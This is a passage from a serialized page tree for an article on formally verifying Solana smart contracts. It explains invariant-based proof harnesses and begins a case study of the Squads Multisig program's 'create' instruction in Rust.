{"className":27497},[9635,27190,9683],[27499],{"type":29,"value":2773},{"type":24,"tag":147,"props":27501,"children":27503},{"className":27502},[9635,27190,9683],[27504],{"type":29,"value":27281},{"type":24,"tag":147,"props":27506,"children":27508},{"className":27507},[9714,9683],[27509],{"type":24,"tag":147,"props":27510,"children":27512},{"className":27511},[9683],[27513],{"type":29,"value":27291},{"type":24,"tag":147,"props":27515,"children":27517},{"className":27516},[9817,9683],[27518],{"type":29,"value":27297},{"type":24,"tag":147,"props":27520,"children":27522},{"className":27521},[9714,9683],[27523],{"type":24,"tag":147,"props":27524,"children":27526},{"className":27525},[9683],[27527],{"type":29,"value":27291},{"type":24,"tag":147,"props":27529,"children":27531},{"className":27530},[9635,29,9683],[27532],{"type":24,"tag":147,"props":27533,"children":27535},{"className":27534},[9635,9683],[27536],{"type":29,"value":27131},{"type":24,"tag":147,"props":27538,"children":27540},{"className":27539},[27319,9683],[27541],{"type":29,"value":480},{"type":24,"tag":147,"props":27543,"children":27545},{"className":27544},[9635,27190,9683],[27546],{"type":29,"value":140},{"type":24,"tag":147,"props":27548,"children":27550},{"className":27549},[9635,27190,9683],[27551],{"type":29,"value":27332},{"type":24,"tag":147,"props":27553,"children":27555},{"className":27554},[9635,27190,9683],[27556],{"type":29,"value":24880},{"type":24,"tag":147,"props":27558,"children":27560},{"className":27559},[27341,9683],[27561],{"type":29,"value":8758},{"type":24,"tag":147,"props":27563,"children":27565},{"className":27564},[27347],[27566],{"type":29,"value":27350},{"type":24,"tag":147,"props":27568,"children":27570},{"className":27569},[9660],[27571],{"type":24,"tag":147,"props":27572,"children":27574},{"className":27573,"style":27358},[9665],[27575],{"type":24,"tag":147,"props":27576,"children":27577},{},[],{"type":24,"tag":147,"props":27579,"children":27581},{"className":27580,"style":9753},[9714],[],{"type":24,"tag":147,"props":27583,"children":27585},{"className":27584},[9635],[27586,27595,27600,27605,27610],{"type":24,"tag":147,"props":27587,"children":27589},{"className":27588},[9635,29],[27590],{"type":24,"tag":147,"props":27591,"children":27593},{"className":27592},[9635],[27594],{"type":29,"value":27380},{"type":24,"tag":147,"props":27596,"children":27598},{"className":27597},[27319],[27599],{"type":29,"value":480},{"type":24,"tag":147,"props":27601,"children":27603},{"className":27602},[9635,27190],[27604],{"type":29,"value":2773},{"type":24,"tag":147,"props":27606,"children":27608},{"className":27607},[9635,27190],[27609],{"type":29,"value":27281},{"type":24,"tag":147,"props":27611,"children":27613},{"className":27612},[27341],[27614],{"type":29,"value":8758},{"type":24,"tag":25,"props":27616,"children":27617},{},[27618],{"type":29,"value":27619},"Our instruction invariants are represented as:",{"type":24,"tag":22292,"props":27621,"children":27622},{},[27623,27659],{"type":24,"tag":2678,"props":27624,"children":27625},{},[27626,27653,27654],{"type":24,"tag":80,"props":27627,"children":27629},{"className":27628},[9607,9608],[27630],{"type":24,"tag":147,"props":27631,"children":27633},{"className":27632},[9613],[27634],{"type":24,"tag":147,"props":27635,"children":27637},{"className":27636,"ariaHidden":9619},[9618],[27638],{"type":24,"tag":147,"props":27639,"children":27641},{"className":27640},[9624],[27642,27646],{"type":24,"tag":147,"props":27643,"children":27645},{"className":27644,"style":27185},[9629],[],{"type":24,"tag":147,"props":27647,"children":27650},{"className":27648,"style":27649},[9635,27190],"margin-right:0.05764em;",[27651],{"type":29,"value":27652},"S",{"type":29,"value":20943},{"type":24,"tag":80,"props":27655,"children":27657},{"className":27656},[],[27658],{"type":29,"value":25758},{"type":24,"tag":2678,"props":27660,"children":27661},{},[27662,27688,27689],{"type":24,"tag":80,"props":27663,"children":27665},{"className":27664},[9607,9608],[27666],{"type":24,"tag":147,"props":27667,"children":27669},{"className":27668},[9613],[27670],{"type":24,"tag":147,"props":27671,"children":27673},{"className":27672,"ariaHidden":9619},[9618],[27674],{"type":24,"tag":147,"props":27675,"children":27677},{"className":27676},[9624],[27678,27682],{"type":24,"tag":147,"props":27679,"children":27681},{"className":27680,"style":27185},[9629],[],{"type":24,"tag":147,"props":27683,"children":27685},{"className":27684,"style":27649},[9635,27190],[27686],{"type":29,"value":27687},"E",{"type":29,"value":20943},{"type":24,"tag":80,"props":27690,"children":27692},{"className":27691},[],[27693],{"type":29,"value":25765},{"type":24,"tag":25,"props":27695,"children":27696},{},[27697,27699,27726,27728,27733,27735,27741],{"type":29,"value":27698},"And ",{"type":24,"tag":80,"props":27700,"children":27702},{"className":27701},[9607,9608],[27703],{"type":24,"tag":147,"props":27704,"children":27706},{"className":27705},[9613],[27707],{"type":24,"tag":147,"props":27708,"children":27710},{"className":27709,"ariaHidden":9619},[9618],[27711],{"type":24,"tag":147,"props":27712,"children":27714},{"className":27713},[9624],[27715,27719],{"type":24,"tag":147,"props":27716,"children":27718},{"className":27717,"style":27185},[9629],[],{"type":24,"tag":147,"props":27720,"children":27723},{"className":27721,"style":27722},[9635,27190],"margin-right:0.07153em;",[27724],{"type":29,"value":27725},"K",{"type":29,"value":27727}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":24,"tag":80,"props":27729,"children":27731},{"className":27730},[],[27732],{"type":29,"value":26093},{"type":29,"value":27734}," not an ",{"type":24,"tag":80,"props":27736,"children":27738},{"className":27737},[],[27739],{"type":29,"value":27740},"Err",{"type":29,"value":5745},{"type":24,"tag":25,"props":27743,"children":27744},{},[27745],{"type":29,"value":27746},"In order to verify these conditions we need to verify three cases:",{"type":24,"tag":43,"props":27748,"children":27750},{"id":27749},"account-invariants-1",[27751],{"type":29,"value":27752},"Account invariants",{"type":24,"tag":25,"props":27754,"children":27755},{},[27756,27758,27789,27791,27821,27823,27853],{"type":29,"value":27757},"After we execute an instruction, either the function should error and be reverted (",{"type":24,"tag":80,"props":27759,"children":27761},{"className":27760},[9607,9608],[27762],{"type":24,"tag":147,"props":27763,"children":27765},{"className":27764},[9613],[27766],{"type":24,"tag":147,"props":27767,"children":27769},{"className":27768,"ariaHidden":9619},[9618],[27770],{"type":24,"tag":147,"props":27771,"children":27773},{"className":27772},[9624],[27774,27778,27784],{"type":24,"tag":147,"props":27775,"children":27777},{"className":27776,"style":27185},[9629],[],{"type":24,"tag":147,"props":27779,"children":27781},{"className":27780},[9635],[27782],{"type":29,"value":27783},"¬",{"type":24,"tag":147,"props":27785,"children":27787},{"className":27786,"style":27722},[9635,27190],[27788],{"type":29,"value":27725},{"type":29,"value":27790},") or the account post-invariants should hold (",{"type":24,"tag":80,"props":27792,"children":27794},{"className":27793},[9607,9608],[27795],{"type":24,"tag":147,"props":27796,"children":27798},{"className":27797},[9613],[27799],{"type":24,"tag":147,"props":27800,"children":27802},{"className":27801,"ariaHidden":9619},[9618],[27803],{"type":24,"tag":147,"props":27804,"children":27806},{"className":27805},[9624],[27807,27811,27816],{"type":24,"tag":147,"props":27808,"children":27810},{"className":27809,"style":27185},[9629],[],{"type":24,"tag":147,"props":27812,"children":27814},{"className":27813,"style":27191},[9635,27190],[27815],{"type":29,"value":27194},{"type":24,"tag":147,"props":27817,"children":27819},{"className":27818},[9635],[27820],{"type":29,"value":1154},{"type":29,"value":27822},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":24,"tag":80,"props":27824,"children":27826},{"className":27825},[9607,9608],[27827],{"type":24,"tag":147,"props":27828,"children":27830},{"className":27829},[9613],[27831],{"type":24,"tag":147,"props":27832,"children":27834},{"className":27833,"ariaHidden":9619},[9618],[27835],{"type":24,"tag":147,"props":27836,"children":27838},{"className":27837},[9624],[27839,27843,27848],{"type":24,"tag":147,"props":27840,"children":27842},{"className":27841,"style":27185},[9629],[],{"type":24,"tag":147,"props":27844,"children":27846},{"className":27845,"style":27191},[9635,27190],[27847],{"type":29,"value":27194},{"type":24,"tag":147,"props":27849,"children":27851},{"className":27850},[9635],[27852],{"type":29,"value":3173},{"type":29,"value":27854},") should hold since we will verify all of the functions eventually.",{"type":24,"tag":25,"props":27856,"children":27857},{},[27858,27860],{"type":29,"value":27859},"So we are trying to prove that ",{"type":24,"tag":80,"props":27861,"children":27863},{"className":27862},[9607,9608],[27864],{"type":24,"tag":147,"props":27865,"children":27867},{"className":27866},[9613],[27868],{"type":24,"tag":147,"props":27869,"children":27871},{"className":27870,"ariaHidden":9619},[9618],[27872,27909,27941],{"type":24,"tag":147,"props":27873,"children":27875},{"className":27874},[9624],[27876,27880,27885,27890,27895,27899,27905],{"type":24,"tag":147,"props":27877,"children":27879},{"className":27878,"style":9735},[9629],[],{"type":24,"tag":147,"props":27881,"children":27883},{"className":27882},[27319],[27884],{"type":29,"value":480},{"type":24,"tag":147,"props":27886,"children":27888},{"className":27887,"style":27191},[9635,27190],[27889],{"type":29,"value":27194},{"type":24,"tag":147,"props":27891,"children":27893},{"className":27892},[9635],[27894],{"type":29,"value":3173},{"type":24,"tag":147,"props":27896,"children":27898},{"className":27897,"style":9715},[9714],[],{"type":24,"tag":147,"props":27900,"children":27902},{"className":27901},[9720],[27903],{"type":29,"value":27904},"∧",{"type":24,"tag":147,"props":27906,"children":27908},{"className":27907,"style":9715},[9714],[],{"type":24,"tag":147,"props":27910,"children":27912},{"className":27911},[9624],[27913,27917,27922,27927,27931,27937],{"type":24,"tag":147,"props":27914,"children":27916},{"className":27915,"style":9735},[9629],[],{"type":24,"tag":147,"props":27918,"children":27920},{"className":27919,"style":27722},[9635,27190],[27921],{"type":29,"value":27725},{"type":24,"tag":147,"props":27923,"children":27925},{"className":27924},[27341],[27926],{"type":29,"value":8758},{"type":24,"tag":147,"props":27928,"children":27930},{"className":27929,"style":9812},[9714],[],{"type":24,"tag":147,"props":27932,"children":27934},{"className":27933},[9817],[27935],{"type":29,"value":27936},"→",{"type":24,"tag":147,"props":27938,"children":27940},{"className":27939,"style":9812},[9714],[],{"type":24,"tag":147,"props":27942,"children":27944},{"className":27943},[9624],[27945,27949,27954],{"type":24,"tag":147,"props":27946,"children":27948},{"className":27947,"style":27185},[9629],[],{"type":24,"tag":147,"props":27950,"children":27952},{"className":27951,"style":27191},[9635,27190],[27953],{"type":29,"value":27194},{"type":24,"tag":147,"props":27955,"children":27957},{"className":27956},[9635],[27958],{"type":29,"value":1154},{"type":24,"tag":25,"props":27960,"children":27961},{},[27962],{"type":29,"value":27963},"We can construct a proof harness like the following:",{"type":24,"tag":137,"props":27965,"children":27967},{"code":27966,"language":25065,"meta":7,"className":25066,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[27968],{"type":24,"tag":80,"props":27969,"children":27970},{"__ignoreMap":7},[27971,27979,27996],{"type":24,"tag":147,"props":27972,"children":27973},{"class":149,"line":150},[27974],{"type":24,"tag":147,"props":27975,"children":27976},{"style":235},[27977],{"type":29,"value":27978},"assume(P0)\n",{"type":24,"tag":147,"props":27980,"children":27981},{"class":149,"line":160},[27982,27987,27991],{"type":24,"tag":147,"props":27983,"children":27984},{"style":235},[27985],{"type":29,"value":27986},"res ",{"type":24,"tag":147,"props":27988,"children":27989},{"style":241},[27990],{"type":29,"value":369},{"type":24,"tag":147,"props":27992,"children":27993},{"style":235},[27994],{"type":29,"value":27995}," instruction_handler(...)\n",{"type":24,"tag":147,"props":27997,"children":27998},{"class":149,"line":169},[27999,28003,28007,28012,28017,28021],{"type":24,"tag":147,"props":28000,"children":28001},{"style":321},[28002],{"type":29,"value":25587},{"type":24,"tag":147,"props":28004,"children":28005},{"style":235},[28006],{"type":29,"value":480},{"type":24,"tag":147,"props":28008,"children":28010},{"style":28009},"--shiki-default:#F44747",[28011],{"type":29,"value":413},{"type":24,"tag":147,"props":28013,"children":28014},{"style":235},[28015],{"type":29,"value":28016},"K ",{"type":24,"tag":147,"props":28018,"children":28019},{"style":28009},[28020],{"type":29,"value":3593},{"type":24,"tag":147,"props":28022,"children":28023},{"style":235},[28024],{"type":29,"value":28025}," P1)\n",{"type":24,"tag":25,"props":28027,"children":28028},{},[28029],{"type":29,"value":28030},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":24,"tag":43,"props":28032,"children":28034},{"id":28033},"positive-instruction-invariant",[28035],{"type":29,"value":28036},"Positive instruction invariant",{"type":24,"tag":25,"props":28038,"children":28039},{},[28040,28042,28048,28050,28101],{"type":29,"value":28041},"Next we need to prove that ",{"type":24,"tag":80,"props":28043,"children":28045},{"className":28044},[],[28046],{"type":29,"value":28047},"success_if",{"type":29,"value":28049}," is a sufficient condition for instruction success. I.e. ",{"type":24,"tag":80,"props":28051,"children":28053},{"className":28052},[9607,9608],[28054],{"type":24,"tag":147,"props":28055,"children":28057},{"className":28056},[9613],[28058],{"type":24,"tag":147,"props":28059,"children":28061},{"className":28060,"ariaHidden":9619},[9618],[28062,28088],{"type":24,"tag":147,"props":28063,"children":28065},{"className":28064},[9624],[28066,28070,28075,28079,28084],{"type":24,"tag":147,"props":28067,"children":28069},{"className":28068,"style":27185},[9629],[],{"type":24,"tag":147,"props":28071,"children":28073},{"className":28072,"style":27649},[9635,27190],[28074],{"type":29,"value":27652},{"type":24,"tag":147,"props":28076,"children":28078},{"className":28077,"style":9812},[9714],[],{"type":24,"tag":147,"props":28080,"children":28082},{"className":28081},[9817],[28083],{"type":29,"value":27936},{"type":24,"tag":147,"props":28085,"children":28087},{"className":28086,"style":9812},[9714],[],{"type":24,"tag":147,"props":28089,"children":28091},{"className":28090},[9624],[28092,28096],{"type":24,"tag":147,"props":28093,"children":28095},{"className":28094,"style":27185},[9629],[],{"type":24,"tag":147,"props":28097,"children":28099},{"className":28098,"style":27722},[9635,27190],[28100],{"type":29,"value":27725},{"type":29,"value":87},{"type":24,"tag":25,"props":28103,"children":28104},{},[28105],{"type":29,"value":28106},"Just like before we can construct a proof harness:",{"type":24,"tag":137,"props":28108,"children":28110},{"code":28109,"language":25065,"meta":7,"className":25066,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[28111],{"type":24,"tag":80,"props":28112,"children":28113},{"__ignoreMap":7},[28114,28122,28137],{"type":24,"tag":147,"props":28115,"children":28116},{"class":149,"line":150},[28117],{"type":24,"tag":147,"props":28118,"children":28119},{"style":235},[28120],{"type":29,"value":28121},"assume(S)\n",{"type":24,"tag":147,"props":28123,"children":28124},{"class":149,"line":160},[28125,28129,28133],{"type":24,"tag":147,"props":28126,"children":28127},{"style":235},[28128],{"type":29,"value":27986},{"type":24,"tag":147,"props":28130,"children":28131},{"style":241},[28132],{"type":29,"value":369},{"type":24,"tag":147,"props":28134,"children":28135},{"style":235},[28136],{"type":29,"value":27995},{"type":24,"tag":147,"props":28138,"children":28139},{"class":149,"line":169},[28140,28144],{"type":24,"tag":147,"props":28141,"children":28142},{"style":321},[28143],{"type":29,"value":25587},{"type":24,"tag":147,"props":28145,"children":28146},{"style":235},[28147],{"type":29,"value":28148},"(K)\n",{"type":24,"tag":25,"props":28150,"children":28151},{},[28152,28154,28159,28161,28173],{"type":29,"value":28153},"This proof assures that whenever ",{"type":24,"tag":80,"props":28155,"children":28157},{"className":28156},[],[28158],{"type":29,"value":25758},{"type":29,"value":28160}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":24,"tag":8545,"props":28162,"children":28163},{},[28164,28166,28171],{"type":29,"value":28165},"even if ",{"type":24,"tag":80,"props":28167,"children":28169},{"className":28168},[],[28170],{"type":29,"value":25758},{"type":29,"value":28172}," is not satisfied",{"type":29,"value":28174},". To specify explicit error conditions we need our third and final proof.",{"type":24,"tag":43,"props":28176,"children":28178},{"id":28177},"_3-negative-instruction-invariant",[28179],{"type":29,"value":28180},"3. Negative instruction invariant",{"type":24,"tag":25,"props":28182,"children":28183},{},[28184,28186,28191,28193,28249],{"type":29,"value":28185},"Finally, we want to prove that ",{"type":24,"tag":80,"props":28187,"children":28189},{"className":28188},[],[28190],{"type":29,"value":25765},{"type":29,"value":28192}," is a sufficient condition for instruction failure. I.e. ",{"type":24,"tag":80,"props":28194,"children":28196},{"className":28195},[9607,9608],[28197],{"type":24,"tag":147,"props":28198,"children":28200},{"className":28199},[9613],[28201],{"type":24,"tag":147,"props":28202,"children":28204},{"className":28203,"ariaHidden":9619},[9618],[28205,28231],{"type":24,"tag":147,"props":28206,"children":28208},{"className":28207},[9624],[28209,28213,28218,28222,28227],{"type":24,"tag":147,"props":28210,"children":28212},{"className":28211,"style":27185},[9629],[],{"type":24,"tag":147,"props":28214,"children":28216},{"className":28215,"style":27649},[9635,27190],[28217],{"type":29,"value":27687},{"type":24,"tag":147,"props":28219,"children":28221},{"className":28220,"style":9812},[9714],[],{"type":24,"tag":147,"props":28223,"children":28225},{"className":28224},[9817],[28226],{"type":29,"value":27936},{"type":24,"tag":147,"props":28228,"children":28230},{"className":28229,"style":9812},[9714],[],{"type":24,"tag":147,"props":28232,"children":28234},{"className":28233},[9624],[28235,28239,28244],{"type":24,"tag":147,"props":28236,"children":28238},{"className":28237,"style":27185},[9629],[],{"type":24,"tag":147,"props":28240,"children":28242},{"className":28241},[9635],[28243],{"type":29,"value":27783},{"type":24,"tag":147,"props":28245,"children":28247},{"className":28246,"style":27722},[9635,27190],[28248],{"type":29,"value":27725},{"type":29,"value":87},{"type":24,"tag":25,"props":28251,"children":28252},{},[28253],{"type":29,"value":28254},"This harness looks just like the previous one:",{"type":24,"tag":137,"props":28256,"children":28258},{"code":28257,"language":25065,"meta":7,"className":25066,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[28259],{"type":24,"tag":80,"props":28260,"children":28261},{"__ignoreMap":7},[28262,28270,28285],{"type":24,"tag":147,"props":28263,"children":28264},{"class":149,"line":150},[28265],{"type":24,"tag":147,"props":28266,"children":28267},{"style":235},[28268],{"type":29,"value":28269},"assume(E)\n",{"type":24,"tag":147,"props":28271,"children":28272},{"class":149,"line":160},[28273,28277,28281],{"type":24,"tag":147,"props":28274,"children":28275},{"style":235},[28276],{"type":29,"value":27986},{"type":24,"tag":147,"props":28278,"children":28279},{"style":241},[28280],{"type":29,"value":369},{"type":24,"tag":147,"props":28282,"children":28283},{"style":235},[28284],{"type":29,"value":27995},{"type":24,"tag":147,"props":28286,"children":28287},{"class":149,"line":169},[28288,28292,28296,28300],{"type":24,"tag":147,"props":28289,"children":28290},{"style":321},[28291],{"type":29,"value":25587},{"type":24,"tag":147,"props":28293,"children":28294},{"style":235},[28295],{"type":29,"value":480},{"type":24,"tag":147,"props":28297,"children":28298},{"style":28009},[28299],{"type":29,"value":413},{"type":24,"tag":147,"props":28301,"children":28302},{"style":235},[28303],{"type":29,"value":28304},"K)\n",{"type":24,"tag":25,"props":28306,"children":28307},{},[28308,28310,28314],{"type":29,"value":28309},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":24,"tag":8545,"props":28311,"children":28312},{},[28313],{"type":29,"value":21980},{"type":29,"value":28315}," the account invariants we expect are always being preserved.",{"type":24,"tag":32,"props":28317,"children":28319},{"id":28318},"case-study-squads-multisig",[28320],{"type":29,"value":28321},"Case study: Squads Multisig",{"type":24,"tag":25,"props":28323,"children":28324},{},[28325,28327,28332],{"type":29,"value":28326},"During our research, we focused on formally verifying aspects of the ",{"type":24,"tag":2773,"props":28328,"children":28330},{"href":24431,"rel":28329},[2777],[28331],{"type":29,"value":24435},{"type":29,"value":87},{"type":24,"tag":25,"props":28334,"children":28335},{},[28336,28338,28344,28346,28352],{"type":29,"value":28337},"The program defines a Multisig account (",{"type":24,"tag":80,"props":28339,"children":28341},{"className":28340},[],[28342],{"type":29,"value":28343},"Ms",{"type":29,"value":28345},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":24,"tag":80,"props":28347,"children":28349},{"className":28348},[],[28350],{"type":29,"value":28351},"threshold",{"type":29,"value":28353}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":24,"tag":25,"props":28355,"children":28356},{},[28357],{"type":29,"value":28358},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":24,"tag":25,"props":28360,"children":28361},{},[28362],{"type":29,"value":28363},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":24,"tag":2674,"props":28365,"children":28366},{},[28367,28372,28377,28382],{"type":24,"tag":2678,"props":28368,"children":28369},{},[28370],{"type":29,"value":28371},"Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":2678,"props":28373,"children":28374},{},[28375],{"type":29,"value":28376},"Verify threshold requirements",{"type":24,"tag":2678,"props":28378,"children":28379},{},[28380],{"type":29,"value":28381},"Verify requirements to remove a member",{"type":24,"tag":2678,"props":28383,"children":28384},{},[28385],{"type":29,"value":28386},"Safety guarantees",{"type":24,"tag":43,"props":28388,"children":28390},{"id":28389},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[28391],{"type":29,"value":28392},"1. Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":25,"props":28394,"children":28395},{},[28396,28398,28403],{"type":29,"value":28397},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":24,"tag":80,"props":28399,"children":28401},{"className":28400},[],[28402],{"type":29,"value":25758},{"type":29,"value":28404}," expression.",{"type":24,"tag":25,"props":28406,"children":28407},{},[28408,28410,28415,28417,28423],{"type":29,"value":28409},"Creating a multisig (",{"type":24,"tag":80,"props":28411,"children":28413},{"className":28412},[],[28414],{"type":29,"value":28343},{"type":29,"value":28416},") requires invoking the ",{"type":24,"tag":80,"props":28418,"children":28420},{"className":28419},[],[28421],{"type":29,"value":28422},"create",{"type":29,"value":28424}," instruction:",{"type":24,"tag":137,"props":28426,"children":28428},{"code":28427,"language":8613,"meta":7,"className":8614,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[28429],{"type":24,"tag":80,"props":28430,"children":28431},{"__ignoreMap":7},[28432,28449,28504,28534,28542,28550,28567,28618,28668,28676,28717,28724,28740,28773,28815,28822,28829,28848,28876,28896,28916,28944,28963,28971,28999,29019,29039,29046,29054,29086,29109,29143,29150,29157,29165,29206,29238,29245,29252,29260,29335,29367,29374,29382,29419,29432,29445,29458,29512,29521],{"type":24,"tag":147,"props":28433,"children":28434},{"class":149,"line":150},[28435,28440,28445],{"type":24,"tag":147,"props":28436,"children":28437},{"style":235},[28438],{"type":29,"value":28439},"#[derive(",{"type":24,"tag":147,"props":28441,"children":28442},{"style":9044},[28443],{"type":29,"value":28444},"Accounts",{"type":24,"tag":147,"props":28446,"children":28447},{"style":235},[28448],{"type":29,"value":25862},{"type":24,"tag":147,"props":28450,"children":28451},{"class":149,"line":160},[28452,28457,28461,28465,28470,28474,28478,28483,28487,28491,28495,28499],{"type":24,"tag":147,"props":28453,"children":28454},{"style":235},[28455],{"type":29,"value":28456},"#[instruction(threshold",{"type":24,"tag":147,"props":28458,"children":28459},{"style":241},[28460],{"type":29,"value":978},{"type":24,"tag":147,"props":28462,"children":28463},{"style":9044},[28464],{"type":29,"value":26632},{"type":24,"tag":147,"props":28466,"children":28467},{"style":235},[28468],{"type":29,"value":28469},", create_key",{"type":24,"tag":147,"props":28471,"children":28472},{"style":241},[28473],{"type":29,"value":978},{"type":24,"tag":147,"props":28475,"children":28476},{"style":9044},[28477],{"type":29,"value":26459},{"type":24,"tag":147,"props":28479,"children":28480},{"style":235},[28481],{"type":29,"value":28482},", members",{"type":24,"tag":147,"props":28484,"children":28485},{"style":241},[28486],{"type":29,"value":978},{"type":24,"tag":147,"props":28488,"children":28489},{"style":9044},[28490],{"type":29,"value":26991},{"type":24,"tag":147,"props":28492,"children":28493},{"style":235},[28494],{"type":29,"value":3583},{"type":24,"tag":147,"props":28496,"children":28497},{"style":9044},[28498],{"type":29,"value":27000},{"type":24,"tag":147,"props":28500,"children":28501},{"style":235},[28502],{"type":29,"value":28503},">)]\n",{"type":24,"tag":147,"props":28505,"children":28506},{"class":149,"line":169},[28507,28511,28515,28520,28525,28530],{"type":24,"tag":147,"props":28508,"children":28509},{"style":218},[28510],{"type":29,"value":19307},{"type":24,"tag":147,"props":28512,"children":28513},{"style":218},[28514],{"type":29,"value":26753},{"type":24,"tag":147,"props":28516,"children":28517},{"style":9044},[28518],{"type":29,"value":28519}," Create",{"type":24,"tag":147,"props":28521,"children":28522},{"style":235},[28523],{"type":29,"value":28524},"\u003C'",{"type":24,"tag":147,"props":28526,"children":28527},{"style":9044},[28528],{"type":29,"value":28529},"info",{"type":24,"tag":147,"props":28531,"children":28532},{"style":235},[28533],{"type":29,"value":12907},{"type":24,"tag":147,"props":28535,"children":28536},{"class":149,"line":178},[28537],{"type":24,"tag":147,"props":28538,"children":28539},{"style":235},[28540],{"type":29,"value":28541},"    #[account(\n",{"type":24,"tag":147,"props":28543,"children":28544},{"class":149,"line":187},[28545],{"type":24,"tag":147,"props":28546,"children":28547},{"style":235},[28548],{"type":29,"value":28549},"        init,\n",{"type":24,"tag":147,"props":28551,"children":28552},{"class":149,"line":196},[28553,28558,28562],{"type":24,"tag":147,"props":28554,"children":28555},{"style":235},[28556],{"type":29,"value":28557},"        payer ",{"type":24,"tag":147,"props":28559,"children":28560},{"style":241},[28561],{"type":29,"value":369},{"type":24,"tag":147,"props":28563,"children":28564},{"style":235},[28565],{"type":29,"value":28566}," creator,\n",{"type":24,"tag":147,"props":28568,"children":28569},{"class":149,"line":205},[28570,28575,28579,28583,28587,28592,28596,28601,28605,28609,28613],{"type":24,"tag":147,"props":28571,"children":28572},{"style":235},[28573],{"type":29,"value":28574},"        space ",{"type":24,"tag":147,"props":28576,"children":28577},{"style":241},[28578],{"type":29,"value":369},{"type":24,"tag":147,"props":28580,"children":28581},{"style":9044},[28582],{"type":29,"value":26758},{"type":24,"tag":147,"props":28584,"children":28585},{"style":241},[28586],{"type":29,"value":9106},{"type":24,"tag":147,"props":28588,"children":28589},{"style":9044},[28590],{"type":29,"value":28591},"SIZE_WITHOUT_MEMBERS",{"type":24,"tag":147,"props":28593,"children":28594},{"style":241},[28595],{"type":29,"value":1734},{"type":24,"tag":147,"props":28597,"children":28598},{"style":235},[28599],{"type":29,"value":28600}," (members",{"type":24,"tag":147,"props":28602,"children":28603},{"style":241},[28604],{"type":29,"value":87},{"type":24,"tag":147,"props":28606,"children":28607},{"style":235},[28608],{"type":29,"value":26623},{"type":24,"tag":147,"props":28610,"children":28611},{"style":241},[28612],{"type":29,"value":244},{"type":24,"tag":147,"props":28614,"children":28615},{"style":235},[28616],{"type":29,"value":28617}," 32),\n",{"type":24,"tag":147,"props":28619,"children":28620},{"class":149,"line":214},[28621,28626,28630,28635,28640,28644,28648,28653,28658,28663],{"type":24,"tag":147,"props":28622,"children":28623},{"style":235},[28624],{"type":29,"value":28625},"        seeds ",{"type":24,"tag":147,"props":28627,"children":28628},{"style":241},[28629],{"type":29,"value":369},{"type":24,"tag":147,"props":28631,"children":28632},{"style":235},[28633],{"type":29,"value":28634}," [",{"type":24,"tag":147,"props":28636,"children":28637},{"style":3534},[28638],{"type":29,"value":28639},"b\"squad\"",{"type":24,"tag":147,"props":28641,"children":28642},{"style":235},[28643],{"type":29,"value":28469},{"type":24,"tag":147,"props":28645,"children":28646},{"style":241},[28647],{"type":29,"value":87},{"type":24,"tag":147,"props":28649,"children":28650},{"style":235},[28651],{"type":29,"value":28652},"as_ref(), ",{"type":24,"tag":147,"props":28654,"children":28655},{"style":3534},[28656],{"type":29,"value":28657},"b\"multisig\"",{"type":24,"tag":147,"props":28659,"children":28660},{"style":235},[28661],{"type":29,"value":28662},"], ",{"type":24,"tag":147,"props":28664,"children":28665},{"style":247},[28666],{"type":29,"value":28667},"bump\n",{"type":24,"tag":147,"props":28669,"children":28670},{"class":149,"line":272},[28671],{"type":24,"tag":147,"props":28672,"children":28673},{"style":235},[28674],{"type":29,"value":28675},"    )]\n",{"type":24,"tag":147,"props":28677,"children":28678},{"class":149,"line":281},[28679,28683,28688,28692,28697,28701,28705,28709,28713],{"type":24,"tag":147,"props":28680,"children":28681},{"style":218},[28682],{"type":29,"value":26445},{"type":24,"tag":147,"props":28684,"children":28685},{"style":247},[28686],{"type":29,"value":28687}," multisig",{"type":24,"tag":147,"props":28689,"children":28690},{"style":241},[28691],{"type":29,"value":978},{"type":24,"tag":147,"props":28693,"children":28694},{"style":9044},[28695],{"type":29,"value":28696}," 